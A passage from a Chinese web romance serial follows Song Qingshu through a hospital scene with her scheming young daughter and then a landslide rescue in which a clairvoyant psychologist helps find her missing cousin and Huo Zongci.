过去,孟令贤夫妇一味撮合她跟盛熙川,她挺反感的。通过这件事,宋清殊对他们的印象有了巨大的改观。
她很感谢他们。
孟令贤夫妇又在病房坐了一会儿,见盛熙川没有大碍,才起身走了。
待两人走后,病房陷入安静。
珍珠怯怯地看了宋清殊一眼,透着心虚。
宋清殊看盛熙川,有点笑不出来:“季卿会去调监控。”
珍珠毕竟也是他的女儿,孩子这样有城府,难免会被人把账算到她这个当母亲的头上。
说她教女无方,没把孩子往正道上带。
盛熙川神色如常:“医院监控年久失修,早就坏了。”
“什么时候坏的?”
“珍珠把手机丢湖里的那一刻。”
珍珠一双大眼睛,看看宋清殊又看看盛熙川。
妈妈最了解她,能知道真相不奇怪,怎么爸爸也知道?
她突然垂下眼,心虚得厉害。
“爸爸妈妈,我错了。”珍珠小声道。
盛熙川要笑不笑地看宋清殊:“这件事,妈妈怎么看?”
第230章 莫兰溪出事
盛熙川不见愠怒,连一点无可奈何的样子都没有,神色平淡又松弛。
但宋清殊脸色很不好看,她心里始终紧绷着一根弦。
怕别人尤其是盛熙川觉得她教坏了女儿,让一个三岁的孩子有这样深的城府和心机。
毕竟,珍珠也是他的孩子。
“你不该这样。”宋清殊稳了稳心神,让自己不要跟珍珠发火,“季卿的确伤害过妈妈,可毕竟是大人间的事,妈妈可以自己处理。”
珍珠心虚归心虚,却依然要强词夺理。
“不是说父债子还?那父母仇自然也可以是我来报。”
听听,这是一个孩子该说的话吗?
宋清殊:“你妈还没死,倒也不用你费这样的脑细胞。”
珍珠低头,却有点不服气:“可你太心软,她还会欺负你。”
宋清殊:“你这个手段并不光明,简直算主动加害了。”
珍珠:“对待坏人,用一点不光明的手段没什么。”
宋清殊:“……”
她要被珍珠的逻辑绕进去了。
一方面知道珍珠这么做是为了自己,骂她便有点不识好歹。一方面又觉得,一个三岁的孩子实在不该这样。
她宁愿珍珠天真无邪,傻得可爱。
宋清殊实在不知道该说什么了。
她看向盛熙川:“你来说。”
盛熙川把珍珠抱到腿上坐好。
“你知道保护妈妈,精神可嘉。但毕竟经验不足,考虑的不是那么周全。”盛熙川说,“那个池塘附近是有监控的。”
珍珠圆了眼睛,宋清殊更是目瞪口呆,这么教孩子对吗?
“还有,上次你在我办公室跟吴小爱起冲突,也忽略了这一点。”
宋清殊几次欲言又止,她觉得盛熙川不该这么教孩子。
她和一个天才儿童相处了三年,却依然认为,小孩子就该有小孩子的样子,懵懂可爱才对。
但盛熙川显然不这么想。
盛熙川比宋清殊育儿观念松弛得多。
别说珍珠聪明才智,只是用来收拾她眼中的坏人,就算她真的“性本恶”,在盛熙川眼里,也只是因为他的宝贝女儿太聪明,足够杀伐决断。
不愧是他的女儿,这才是盛世继承人该有的样子。
“所以,爸爸一直都知道?”珍珠眼神没了心虚,却多了惶恐。
盛熙川揉她的发顶:“嗯,你经验不足,以后有什么事,还是要谋划周全。
但爸爸希望我的女儿也要适当藏一藏锋芒。毕竟,很多事情爸爸妈妈出面会更安全一些。你说呢?”
珍珠认真凝视着盛熙川,显然把他的话都听了进去。
她郑重地点了下头。
宋清殊却并没有觉得松口气。
她反而精神更加紧绷,觉得珍珠可悲,有这样一对父母。
盛熙川可恶,因为骄纵女儿。
她自己虽然具体说不上自己有什么错来,却也一定是有的,让珍珠成为今天这个样子,她一定在某一步或者某几步上是做错了的。
她胡思乱想,又回到了最初那个问题:或许,未经同意把珍珠带到这个世界上,就是错的。
宋清殊异常烦恼,珍珠的过分聪明简直成了心病。
她决定回去后替珍珠请个心理辅导老师。
手机事件宋清殊和盛熙川意见相左,又不好当着珍珠的面吵架,就这么撂下了。
盛熙川当天下午办理了出院手续,据说,季家人为了要那段监控,到京华医院大闹一场。
这件事不了了之,季卿吃了个哑巴亏。
她和盛熙川好容易建立起来的那点可能性,因为盛熙川的“不公正”,又没了。
季卿怀恨在心,只想找机会出口恶气——
人就是这样,被珍珠诬陷她要算到宋清殊头上,连“撞衫事件”倒也成了宋清殊不是。
谁让宋清殊诡计多端,将计就计,还网暴她!
季卿有的是自己的道理。
盛熙川出院,宋清殊也松了口气,她终于能去陆氏坐镇,不需要再远程遥控。
她的生活又回到了正轨。
但有些事发生了,就没办法视而不见,像完全没发生过那样活着。
她知道,虽然盛熙川没有挟恩图报,自己也没有因此回头,头脑发昏到以身相许,但两人的关系因为这次住院发生很微妙的变化,是不争的事实。
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她不得不让自己忙起来,转移一下注意力。
也是这个时候宋清殊才陡然发现,她和霍宗辞、莫兰溪竟然已经超过10天没联系了。
莫兰溪应该已经到了花都。
她年少出国,对国内很多地方都不熟悉,这次突然又要离开,只想着再去四处看看。
“下次回来就没有时候了。”她说。
于是,宋清殊跟她说花都的风景好,四季如春,让她过去玩两天。
莫兰溪便规划了路线,从上京一路南下。
不坐飞机,也不坐高铁,坐最慢的火车,每次在两小时车程处下车,玩上一天,第二天一早再次启程。
霍宗辞虽然没说请假原因,但宋清殊觉得大差不差,是冲莫兰溪去的。
于是,看到霍宗辞请假,她就第一时间告诉了莫兰溪。
莫兰溪说“是祸躲不过”,但她不讲自己跟霍宗辞的渊源,宋清殊也不好问。
她给莫兰溪发微信:【我这阵子出了点事,没顾上你,你怎么样,可是到花都了?】
莫兰溪回得很快,她发了几张风景图过来,大江大河,和那座著名的雪山。
【大山大水,让人快乐】她说。
又说,她刚到雪山脚下的酒店住下,已经买好了氧气瓶,准备第二天登顶。
看着她发来的风景,宋清殊的心境都跟着开阔了不少。
她几次想问霍宗辞是否找到了她,最终还是忍了。
莫兰溪想说自然会说,不说,就是不需要她的帮助。
第二天晚上,宋清殊下班回家,珍珠正在看新闻。
神情严肃的主持人正在播报一则重大新闻——
【临时插播一条紧急消息:花都毓秀雪山发生五年内最大规模山体滑坡,有近百名游客遇难。下面我们连线一下现场记者……】
新闻画面中正下着大雨,崩落的巨石与泥流将山道吞噬,现场一片狼藉。
无数的救援车被堵在几公里处,根本进不去。
宋清殊的耳边响起轰鸣声。
与此同时,她接到了陆夫人的电话。
陆夫人在那边哭得上气不接下气:“兰溪,兰溪出事了。”
第231章 霍婧珊
陆夫人说,莫兰溪爬雪山的前一个小时还在跟她视频通话。
看到雪崩和山体滑坡的消息,她的心一紧。
再联系莫兰溪已经没有音讯。
“救援的人进不去,但他们捡到了一个包,是兰溪的。”陆夫人在电话里哭。
宋清殊的心猛地抽了一下。
她抓紧旁边的沙发扶手,强迫自己稳住。
“干妈,联系小叔了没有?”
虽说没问过,但她一直直觉霍宗辞应该也在花都。
“也联系不上。”陆夫人的声音颤抖,“宗辞的妹妹婧珊也找了我,因为联系不上哥哥,已经哭晕了过去。”
何止霍宗辞的妹妹哭晕过去,陆夫人在电话里的状态也很糟糕。
她说莫兰溪凶多吉少。
她哭,宋清殊就不敢哭。
“别着急,我对花都熟悉,定最早的机票去一趟。”她说。
宋清殊又安抚了陆夫人两句,之后,迅速订机票。
她没有过多停留,跟珍珠打过招呼后,直接坐了当晚的飞机。
陆夫人派了两个保镖跟她同行。
落地花都时已经是凌晨,宋清殊先安排了那两人在酒店住下,自己连夜联系了救援组织。
那边忙得焦头烂额,顾不上她,接电话一听问情况就挂。
但她出手实在大方,迅速要了账号,先捐了200万资金过去。
“不够的话还有,我愿意承担所有搜救费用,只有一个要求:找到我表妹和小叔。”
宋清殊想说活要见人,死要见尸,但实在晦气,她避谶。
救援组织那边终于有了一个专门的人跟她对接,随时汇报情况。
那边说,进山的路都被堵住了,现在还一直降雨,根本进不去。他们也只能在外缘一边挖路一边等。
“有遇害者名单吗?”她问。
那边把已经确定身份的发了过来,有十几个人。
里面没有莫兰溪和霍宗辞的名字。
但不代表两人没事,毕竟还有至少十具尸体已经被砸的面目全非。
“您来了也没有意义,还要我们额外分出精力救您。建议原地不动,等消息。”那边的负责人说。
于是,宋清殊让酒店送了杯加浓美式,喝下去,做好了一夜不睡的打算。
清晨,她没等来救援人员的消息,先收到了孟令贤的微信。
孟令贤发了几张图片过来,是她的车,被人四个轮子都放了气,车身上,用油漆喷了个“死”字。
宋清殊原本就悬着一颗心,此时更是被吓了一跳。
她直接打了语音电话过去。
“贤姐,你人没事吧?”
孟令贤听上去很淡定:“没事,发给你是想让你也提高警惕,特别是保护好珍珠。”
宋清殊又关心了孟令贤几句,叮嘱她加强防范,之后,火速给盛熙川打了个电话。
她没说自己的情况,只告诉盛熙川先去家里把珍珠接走。
盛熙川向来有超强的执行力,半小时后,便发来了他和珍珠一起吃早餐的照片。
【有我呢,放心】盛熙川说。
宋清殊果然放下心来,她想,季卿应该不会这么快把手伸到盛熙川处。
盛熙川没有问她去向,想必也已经从珍珠那里听说了。
因为他叮嘱宋清殊万事小心,又给了她一个电话。
【我派了杨端带人过去跟你一起,需要他们做什么你直接说,就当是自己人用就好】
宋清殊只推辞了一句,但盛熙川坚持,她就没有再说什么了。
毕竟救人要紧。
当天白天,她依然等在酒店,除了用手机不断跟进救援消息,似乎也没有别的选择。
下午的时候,雨终于停了。
救援队正式开始挖路进山。
有更多的生存者被发现,与此同时,遇难者的数量也在急剧增加。
宋清殊的手机上每隔一个小时都会收到一遍最新名单,一直没有两个人的名字。
热搜上已经被【花都毓秀山山体滑坡】等字样的新闻占领,这一事件引起广泛关注。
宋清殊从早上枯等到晚上,依然没有莫兰溪和霍宗辞的消息。
与此同时,杨端也带着几个人到了。
他一行五个人,先到酒店跟宋清殊打了个照面。
“我们这几天都听您的。”他对宋清殊说。
宋清殊也没有再客气。
“现在路已经通了,再等一晚上,如果到凌晨5:00还没有音
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讯,我们一起进山。”她说。
宋清殊一行三人,加上杨端一行五人,八个人又等了一夜。
第二天早上5:00,开了两辆越野车进山。
路上千难万险,道路多处坍塌不说,一路上还随时有小石块滚落下来。
几个人换着开车,都精神高度紧张,生怕一不小心把小命交代了。
“前面有人。”宋清殊车里的司机说。
宋清殊透过车窗看。
有个背双肩包的女孩正独自一人往深山里走。
那是一个非常纤细的背影,看上去很年轻,脚步很急,一边走,似乎一边在抹眼泪。
“停一下。”她说。
车子停下,宋清殊大步走到女孩面前去:“这边刚发生了滑坡,特别危险,你不要再继续走了……”
话说到一半,她顿住。
如此似曾相识的一张脸,她甚至不用说是霍宗辞的性转版,因为霍宗辞的五官就偏阴柔,只是气质太冷,让人不敢多想。
那女孩的眼睛又红又肿,抬眼看她时,两人几乎同时叫出了对方的名字。
“霍婧珊!”
“宋清殊!”
又同时说“是我”。
她将霍婧珊带上车,好在他们开的越野都是六座,坐得下。
霍婧珊见到宋清殊,眼泪又开始止不住,竟然扑到她怀里大哭了起来。
她在哥哥那里听说过宋清殊,对她充满了崇拜和信任。
“我实在放心不下,就偷偷从医院跑出来了。”她抽抽嗒嗒地说,“我妈妈是植物人,如果哥哥再出了事,我也不活了!”
宋清殊在陆夫人那里听说过霍家的事,霍宗辞的父亲出事,并非因为**,而是站错了队,遭敌对派算计。
而他母亲知道太多秘密,也被害,虽然侥幸捡回一条命,但也昏迷不醒好几年了。
霍婧珊也因此得了抑郁症。
这样看,霍宗辞算坚强的。
“过度担忧,也是一种诅咒。”宋清殊拍着霍婧珊的背安慰她,“先冷静下来,既然来了跟我们一起进山。”
也是在这个时候,一辆红色牧马人追上了他们的车,在后面狂按了几声喇叭。
“霍婧珊,你又不听话!”
第232章 半仙
那辆牧马人在追上他们后停了下来。
随即,从车里走出一个穿黑色大衣的男人。
男人目测30岁出头,皮肤很白,戴金丝眼镜的样子看上去斯文又清秀。
他直接走到前面,敲宋清殊这一车的车窗。
霍婧珊注意到他,马上叫:“巽哥!”
那男人点了点头,先是看到靠窗的宋清殊,微微抬了一下眉。
接着,往一旁站了站,示意霍婧珊下车。
“这是我的心理医生王千巽,哥哥的朋友。”霍婧珊一边下车,一边小声对宋清殊说,“他会占卜,是个半仙。”
信息量好大,又好奇怪的介绍,简直前言不搭后语。
心理医生,霍宗辞的朋友,宋清殊可以理解。
“会预测未来,是个半仙”是什么鬼?
宋清殊青春期就去了国外,对东方玄学的了解,还是今年陆夫人和楼珏说她犯太岁,便去网上查了查。
她看网上说,搞玄学的分很多流派,有排八字,占星的学术派,还有东北出马仙之类的通灵派,也不知这位“半仙”王千巽是哪一派。
宋清殊好奇,便忍不住朝外看。
她看到下了车的霍婧珊又开始哭。
而王千巽伸手拍了拍她的肩,不知跟她说了什么。
眼看着不到五分钟的时间,霍婧珊的情绪平缓了下来。
过了一会儿,霍婧珊回到车上。
虽然眼睛红红的,还带着未干的泪花,但神情不像最初那般黯淡,多了几分轻松。
“我哥不会有事的。”她说。
“吉人自有天相。”宋清殊附和。
“不,是巽哥看到了画面。”霍婧珊说,“巽哥说咱们今天可能会无功而返,但我哥不会有生命危险。”
显然,她是真的相信。
她一边说,一边甚至开始打开网页搜附近的骨科医院:“巽哥说,他看到的画面是我哥坐在轮椅上,有个穿黑衣服戴黑框眼镜的女士推着他。
听这意思我哥的腿受了伤,以防万一,我最好先联系一下骨科医院。”
车里明明开着暖风,但听完霍婧珊的话,宋清殊身上的汗**都竖了起来。
“婧珊,你认识莫兰溪吗?”她抚了抚自己的手臂,开口问她,只觉得嗓子发紧。
黑色衣服,黑框眼镜,不就是莫兰溪平时的打扮?
可霍婧珊疑惑:“谁是莫兰溪?”
那有没有可能,这位王医生认识?宋清殊想。
毕竟王千巽跟霍宗辞是朋友,听说或者见过也不一定。总不会那么玄乎,不认识,能在脑海中幻视出莫兰溪的模样。
不过,如果他认识莫兰溪,会直接说名字吧?
有什么地方不对劲,但短时间内宋清殊又说不清楚。
但她依然觉得王千巽在故弄玄虚。
管他呢,能暂时用他的话安抚住霍婧珊也是好事,不然她这样担心,起不到正面作用,只会更加痛苦。
他们很快到了救援的中心地带,又是从早到晚忙碌的一天。
这一天里,有25人获救,还抬出来5具被砸的面目全非的尸体。
原本被拦在在几公里外的家属们,用不同方式涌进来不少,现场哀嚎声一片。
“他们这样只会干扰救援工作,没有任何证明意义。”救援组的负责人说,都急得团团转。
王千巽主动请缨:“我去跟他们聊。”
他拿出自己的名片来,递给那位负责人。
宋清殊留意了名片上的字:智尚心理诊所王千巽。
居然是这个“巽”字,一个颇具玄学色彩的名字。
宋清殊又多看了他几眼,好奇心更重了。
王千巽也注意到了宋清殊的目光,他只直直地回视过来,目光一寸不让。
他到底是位异性,长得还这样好,宋清殊被盯得不好意思,先别过眼。
王千巽勾了勾唇,也收回视线,径直迎着那群人走了过去。
那群人都是遇难者家属,一个个笼罩在阴云中,哭得上气不接下气。
很奇怪,明明是这样负能量的磁场,王千巽的加入,却像一缕清风,不疾不徐,把原本的浑浊的气息冲散了一些。
他给那些人做思想工作,安抚效果很明显,震天响的哭声渐小。
在宋清殊的认知里,心理疗愈是很缓慢的过程,如此立竿见影的程度简直让人咋舌。
这位王医生的确有点东西,她想。
搜救工作日夜兼程。
救援人员累到体力不支,横七竖八的躺在满是泥巴的
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路边休息,又马上有上一批新人替补上。
几天下来,被困人员被排查的差不多了,有的哪怕暂时没有救出的,也大概知道位置,却一直没有莫兰溪和霍宗辞的音讯。
为了以防工作人员看错,宋清殊甚至大着胆子去看了那些遇难者的尸体。
那些模糊的血肉,让她心惊肉跳,忍不住干呕。
但里面的确没有莫兰溪和霍宗辞!
之后又是两天两夜的搜寻。
历时五天,搜救名单里其他被困者已经救出,遇难者也基本上核实清楚。
只有莫兰溪和霍宗辞两人像人间蒸发了一样。
霍婧珊情绪稳定下来,反而是宋清殊病急乱投医。
“你再去问问王医生还看到了什么。”她对霍婧珊说。
霍婧珊便又去问,回来说,王千巽看到了一个村子,好像在山的附近,说霍宗辞和那个黑衣服女人,在一个栅栏门的农家院里。
这话不能跟搜救组织说,说了也没人信。
宋清殊决定自己人先去附近村子看看。
这样想着,她组织了两辆车分头去找,约了王千巽跟自己同车。
王千巽几次欲言又止,宋清殊只当他是不愿意去,后来便猜测,是不是因为他随口乱讲,怕找不到人到时候难看。
便宽慰他:“我们也只是碰碰运气,从出事到现在这么久了,专业人士都没有找到,我们真找不到也正常。”
王千巽没说什么,点点头上了车。
而霍婧珊被宋清殊安排留在酒店等消息。
寻人的过程中又发生了一件事。
有一段路不通车,他们把车子就近停下,步行进去。
山上有一块松动的岩石落下,险些砸到其中一个人。
是王千巽眼疾手快一挡,那块石头才没有砸到那人的头。
但他的手臂也因此脱臼。
宋清殊是这帮人里唯一的女性,众人本就觉得她出入山林不安全,便一致让她开车送王千巽回去就医。
路上,王千巽静静地坐在副驾,疼的脸都白了,冷汗打湿了额前的碎发,却愣是一句抱怨的话都没说。
直到车子驶过平坦路段,宋清殊提速,王千巽突然开口:“慢一些,前面可能会有动物出没。”
第233章 兰溪,你爱他吗
平平无奇的一句话,让宋清殊的心突然狂跳起来。
她依言放慢速度,屏息凝神,比刚才在颠簸道路还要慢上几分。
王千巽看得直笑:“倒是也不用这样谨慎,等那头小鹿出来,我会提醒你。”
宋清殊圆了眼睛:“这么具体?”
不是兔子,不是野猫,不是狐狸,是小鹿。
说话间,王千巽低声道:“来了。”
宋清殊一脚刹车,眼看着一只幼年小鹿悠然自得地走过去。
一边走,还一边回头,看了看他们。
宋清殊起了一身的鸡皮疙瘩,她看向王千巽的目光满是困惑:“你是怎么做到的?”
但王千巽闭着眼,神色痛苦,显然无心回答。
车子到了市区的骨科医院,宋清殊陪着他挂急诊,拍片子,又做复位,好一阵折腾。
等一切处理完,已经是中午。王千巽的脸上也终于有了血色。
两人在医院外面找了家过桥米线。
看王千巽已经没什么大碍,宋清殊才终于有机会问出心里的困惑。
“所以你早上欲言又止,是因为料到自己会被砸伤手臂?”
王千巽摇头:“哪有那么精准?人能窥探到的天机都是上天想让你知道的。”
“那你窥探到了什么?”宋清殊追问不放。
王千巽扶额,觉得自己败给她。
“看到了小李会被石头砸头。”
宋清殊脑子转了几个弯,才说:“所以,天机也是可以改的,对不对?”
他看到了那个人会被砸,却没有砸中,那他到底是准还是不准?
那他看到霍宗辞和莫兰溪生还,会不会也**扰?
王千巽:“所以说,人没有办法做全知。我看到这件事并且出手,让他没有被砸到,可能才是天机的全貌。”
这话很玄,但宋清殊脑子好用,能绕明白。
“你明明也可以告诉我,咱们不去的。”她有点后怕。
“你那时候不相信我,我若说了,你会让别人留守,自己悄悄去。”
宋清殊:“……”
王千巽对她的了解程度让人害怕。
她沉默了一会儿。
过桥米线端上来,香气扑鼻。
宋清殊半年没吃到这熟悉的味道,还有点想念。
她低头吃饭,过了好一会儿又抬头看他:“王医生,你会给自己预测未来吗?很多事情都看得这么透,是不是也没有意思?”
王千巽用筷子夹着一根米线,绕来绕去。
“我不看。因为我是**者,完全臣服于命运的安排。”
“但你会用你的‘超能力’给别人提点。”
“对,起初我也觉得这么做不对,后来却觉得让那些迷茫到无药可医的人遇到我,可能也是命运安排的一环。”
生命真的有大智慧,玄之又玄。
宋清殊第一次跟人进行这样的谈话,只觉得手臂上的鸡皮疙瘩都浮了起来。
她觉得敬畏,却又不知怎么表达,气氛一时间有点冷。
于是,宋清殊低头把最后一点米线吃完。
“王医生。”她突然正色,“请告诉我明天双色球的开奖号码。”
王千巽“噗”地一声笑出来。
“宋清殊,把不属于自己的东西拿来都是要还回去的。‘果’是固定的,所以人对命运的强行认知和干预,会被纳入新的算法,之后通过新的因果链达成必然结局。”
他说完,又觉得自己像说教,摇摇手,站起身来,“走,我们回去吧。”
宋清殊却双眼冒光:“所以,按照你这个逻辑,小李还是会被砸到头。”
王千巽抬了抬眉:“等回到酒店可以问问。”
他们没有再去寻找,直接回了酒店。
车子刚停好,宋清殊接到了杨端的电话。
“我们找到霍先生和莫小姐了!”杨端激动地说。
宋清殊和王千巽又叫了霍婧珊,三人火速赶往骨科医院。
霍宗辞在手术中,莫兰溪等在外面,脸色灰白。
宋清殊打量她,黑色衣裤,黑框眼镜,瞬间又想起王千巽的“预言”来,心里一紧。
“兰溪!”宋清殊冲过去拥抱她。
莫兰溪看上去瘦了不少,她模样憔悴,回抱宋清殊的手都在抖。
“我以为……以为这辈子再也见不到你
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了。”她说。
原来,莫兰溪的行程被霍宗辞耽搁,出事时,她并不在中心地带。
霍宗辞一路追到半山腰,莫兰溪跟他生气,又掉头往回走。
走了没多久,便遇到了极端天气。
狂风大作,天迅速黑下来。
接着,就开始下雨。
在雨中,莫兰溪根本看不清路,几次险些踩空,滚落山谷。
是霍宗辞找到了她,他拉着她一路往下走,在暴雨来临前,躲到了一个山洞里。
接着,便是上了新闻的山体滑坡,泥石流,雪崩。
他们在山洞里被困了几天几夜,霍宗辞找到一个缝隙,将莫兰溪托举出去,自己却被落下的石块砸伤了腿。
他们没有手机,跟外界隔绝,那几天几夜里只有彼此。
“没有去一个村子吗?”宋清殊问。
王千巽不是看到了他们在一个村子里?
“你是说涧水村吗?我们今天凌晨才到,有人拿食物和水给我们。”
莫兰溪说,因为霍宗辞的伤,他们走了很久的路才到村子里。
在村子里被好心人收留,吃了顿饱饭,又睡了很长的一个觉。
但因为灾难的缘故,村里也断水断电许久,他们借不到电话。
一筹莫展之际,遇到了前来找人的杨端。
杨端到的正是时候,早一天他们还没到,晚一天霍宗辞的腿也就废了——
现在他的腿已经岌岌可危,医生说,再晚一点就要截肢。
宋清殊听得唏嘘,感慨命运的巧妙离奇。
“我决定不走了。”莫兰溪又说,“我会用余生跟他耗下去,欠他什么,他来拿就好。只要他要,只要我有。”
宋清殊大受震撼。
她不知道该怎么说。良久,才缓缓道:“当然,你们毕竟同生共死过。”
莫兰溪泪目:“是啊,清殊,这世界上有这么多人,同生共死过的也就这一个了。”
霍宗辞还在手术中,莫兰溪静静地坐在外面等。
她眼睛牢牢盯住手术室的方向,生怕漏掉任何一个瞬间。
“兰溪,你爱他吗?”宋清殊终于忍不住轻声问。
第234章 痛苦往事
这个问题成功让莫兰溪怔了一下。
“我……我从来没想过这个问题。”莫兰溪没有撒谎。
一个人的感情,或许是金字塔型的,最底层是原生家庭,父母的疼爱,接着是友情,再往上才是爱情。
莫兰溪被困在了最底层。
年少时,家里突遭变故,她差点儿被父亲卖到风月场上。
她还“试营业”了的,被那个夜店老板娘带到贵宾厅陪酒,穿极其暴露的衣服,任凭那些猥琐的目光落到脸上身上。
那一晚,莫兰溪刚刚成年。
她被几个人扒光了按在沙发上,恰逢警方去扫黄,才得以逃出来。
从那一晚开始,她开始厌男,骨子里排斥任何异性的接近。
为了迅速逃出去,她不得不骗了霍宗辞五万块,替自己赎身。
她主动接近到拿下他,一共用了三天。
从他那里得到钱之后,也如愿“赎身”,再后来便是遇到了陆夫人。
陆夫人和她父亲是出了五服的,并没有多么亲近,但可怜她,救她于水火,将她送出国,还帮她改了名字。
出国后,莫兰溪简直再世为人。
但险些被人**这件事给了她极大的心理阴影,哪怕是现在,莫兰溪都不能出现在男性太密集的场合。
过多的雄性气息会让她心里不安,觉得被冒犯。
她不化妆,不打扮,用黑衣服把自己藏起来,也是这个原因。
霍宗辞是她的第一个男人,应该也是最后一个了。
但他不是普通男人,他的容貌比一般女人都好看。
他更没有说过要娶她,只说要她还债。
“我在他最难的时候骗了他,又被他救了一命,所以不管结局如何,我都准备留在他身边了,直到他厌弃的一天。”莫兰溪寂寂地说。
每个人都有自己的选择,她那样聪明理智,想来做的选择也是跟随了自己的心。
宋清殊不好插嘴,也自觉没有指手画脚的资格。
莫兰溪的行为像一面镜子,照出了她自己:不久前,她刚面临了一样的选择。
她也被盛熙川搭救,被道德**要以身相许。
她和盛熙川之间还有孩子,复合的理由理应更充足才是。
她做错了吗?
选都选了,过多的内耗没有任何意义,比起儿女情长,她更该过好自己的日子。
霍宗辞的手术做了十几个小时,他的腿受伤太久,能接上已经是万幸。
他手术期间,莫兰溪不吃不喝,全程陪着。
反而是有抑郁症的霍婧珊通达了不少,生怕莫兰溪饿了,累了,买了吃的,一个劲儿求宋清殊拿给她。
宋清殊想笑:“干嘛不自己拿给人家?”
霍婧珊:“又不熟,她是我未来的嫂子,我害羞嘛。”
宋清殊想说她自己和霍婧珊认识也不过几天,却还是忍了。
她按照霍婧珊指示,对莫兰溪关怀备至,又对
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莫兰溪使眼色,看一旁的霍婧珊:“喏,你未来小姑子让我照顾好你。”
莫兰溪看一眼霍婧珊,迅速红了脸:“我不是……”
霍宗辞可没说过喜欢她,要和她在一起。
那倒也是,传话筒宋清殊又把这话传给霍婧珊听。
霍婧珊无语至极:“清殊姐姐,你见哪个男人会为了不喜欢的女人死?”
宋清殊:“人是很复杂的动物,有时候莫名的情绪波动,误当成喜欢也是有可能的。”
霍婧珊:“喜欢当然会情绪波动,原本就可以当成一件事,是你想的太复杂了。”
宋清殊默然。
不由得她又想到了自己和盛熙川。
她出来六天了,给珍珠发微信,珍珠说一切都好,也不知道盛熙川怎么样了,回复如何。
一定是因为霍宗辞和莫兰溪这件事太有可比性,才让她今天频频想起他来。
宋清殊努力收回思绪,把脑子里的盛熙川赶跑。
这台手术需要做太久,后来,宋清殊便安排其他人回酒店休息,她和霍婧珊、莫兰溪三个人在外面等。
突然,她意识到一件事:那个被王千巽救了一命的小李没来。
“小李呢?”她问杨端。
杨端道:“小李也是倒霉,在山里被王医生救了小命,本以为就没事了,谁知道。到了村里又被别人房顶落下的瓦砸了一下,缝了好几针。”
宋清殊下意识看向王千巽。
第235章 不表白吗
该发生的还是发生了,小李的脑袋还是没能幸免。
哪怕中间人为做了改变,命运也自有调整方式,最后走到既定结果。
宋清殊惊出了一身冷汗,她觉得自己似乎打开了新世界大门。
所以她下意识地看王千巽。
而王千巽也注意到宋清殊投过来的目光,他动了一下唇角,露出淡淡笑意,算作回应。
他不笑还好,这一笑,宋清殊身上的寒意加深了一层。
更冷了。
之后,众人都回酒店休息了,医院里只留了宋清殊,莫兰溪和霍婧珊三个。
莫兰溪着魔一样地盯着手术室门口,魂不守舍。
宋清殊和霍婧珊状态相较莫兰溪松弛,能聊上两句。
话题自然又忍不住落到王千巽身上。
这两天的事,给宋清殊的冲击太大,她很难聊别的。
“他这个叫什么?出马仙还是灵媒?”宋清殊用她不多的知识问霍婧珊。
霍婧珊也说不清楚,但她说王千巽虽然有这个特殊的能力,却鲜少在人前展示,这次愿意帮忙也是因为情况太特殊,担忧霍宗辞的安危。
“他是个非常优秀的心理医生,这才是他的主业。”霍婧珊强调。
于是,宋清殊的心思又转了弯。
她想能不能让王千巽给珍珠做一下心理辅导,毕竟珍珠实在太特殊了。
如果她跟别人说自己的女儿会用那样巧妙的方式栽赃陷害别人,怕是也没人信吧?
不过这一切都要回上京再说,现在最主要的是霍宗辞的腿。
宋清殊之所以不是太过担心,也是看王千巽那样放心地走了,觉得应该问题不大。
她已经被王千巽完全折服了。
晚上9:00多,手术室的门打开,霍宗辞被推了出来。
霍婧珊和宋清殊马上冲了过去。
“怎么样?”她们一同问。
“腿保住了,但还要住院观察。”医生宣布。
人活着已经是万幸,二人一同欢呼。
之后,霍婧珊过去抱紧了霍宗辞的手臂,激动地直抹眼泪。
“哥哥,你没事真的太好了。你怎么样?痛不痛?想不想吃什么?”她连珠炮似地说。
但显然,霍宗辞的注意力不在她身上。
他没说话,眼睛穿过妹妹看后面的莫兰溪。
莫兰溪眼睛红红的,看着霍宗辞的方向,异常沉默。
留意到霍宗辞的目光,霍婧珊瞬间觉醒。
“嫂子因为担心你,一天连口水都没喝。”她说着,赶紧让出位置,不仅如此,还一把将莫兰溪拉了过来。
宋清殊给她让出位置,只想笑。
心说这不是你不好意思接近莫兰溪的时候了?
可她怕莫兰溪尴尬,终是忍住了。
被推在霍宗辞面前的莫兰溪吓了一跳:“我……我不是……”
不是嫂子。
她如受惊小鹿,肉眼可见的慌乱,不敢看霍宗辞的眼睛。
霍宗辞却静静地审视她。
“去病房。”这话是对莫兰溪说的。
莫兰溪慌忙过去,试图推霍宗辞的移动病床。
她饿了好几天,仅仅在今天凌晨才吃了点东西补充体力,哪里推得动?
看她明显趔趄了一下,医护人员赶紧帮忙。
众人七手八脚终于把霍宗辞推进了病房,又放到了病床上,之后火速离开。
病房里只剩下了他们两个。
莫兰溪坐在霍宗辞床边看他,神情局促。
她不说话,霍宗辞便也不开口。
两人彼此对视良久。
大概受不了这个氛围,莫兰溪终于先开口:“幸亏你的腿保住了,不然……我这辈子不安的事又多了一桩。”
她声音很低,带着哽咽。
霍宗辞勾唇:“我的腿保住了,你就可以心安理得离开了?”
“不是……”
“不是吗?”因为疼痛,霍宗辞脸色惨白,但他神情很淡,似乎并不把这疼痛放在眼里。
眉宇间甚至有一抹笑意,“跟我说说,莫听澜,你接下来准备怎么做?”
“我不会再走了,霍宗辞。”莫兰溪说。
“从此以后,我会一直在你身边,完全臣服于你,直到你让我离开的那天。”
说这话时,她神情决绝,简
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直称得上大义凛然,誓死如归。
是他想要的答案,可似乎又不太对劲。
霍宗辞的麻药劲还没过,有点没绕明白。
“那你觉得我什么时候会让你离开?”他顿了几秒问。
这个问题莫兰溪也认真思考过,所以很快给了回答:“决定权在你,我没有亲人,自己可以做自己的主,往后余生,我会一直听你的话,把自己当成你的……”
这里她卡顿了一下,找不出合适的词。
当成他的什么,总不好说是奴隶。
可也差不多。
霍婧珊叫她嫂子,她总不能真的往自己脸上贴金,拿自己当霍宗辞女朋友。
莫兰溪跳过了那个词,“等你彻底消了气,看见我觉得厌弃,或者,有了喜欢的人……”
“莫听澜!”再说下去全是不喜欢的话,霍宗辞不得不打断她。
在全麻闭上眼前,他心里隐隐期待自己手术醒来,会得到一个表白的。
莫兰溪性子内敛,大概不会太过热烈,但起码会有所表示。
现在看来,表示了,但完全不是那么回事。
也不知道这女人的脑子里一天天都在想什么,她该不会以为,自己千方百计想让她留在身边,只是为了折磨报复她吧?
也是,自己的确是这么说的,哪怕是在暴风雨里救她的时候,也在嘴硬。
霍宗辞突然觉得气恼。
“知道了,出去吧。”他合上眼睛,怕再多看这个家伙一眼,自己还要忍不住发脾气。
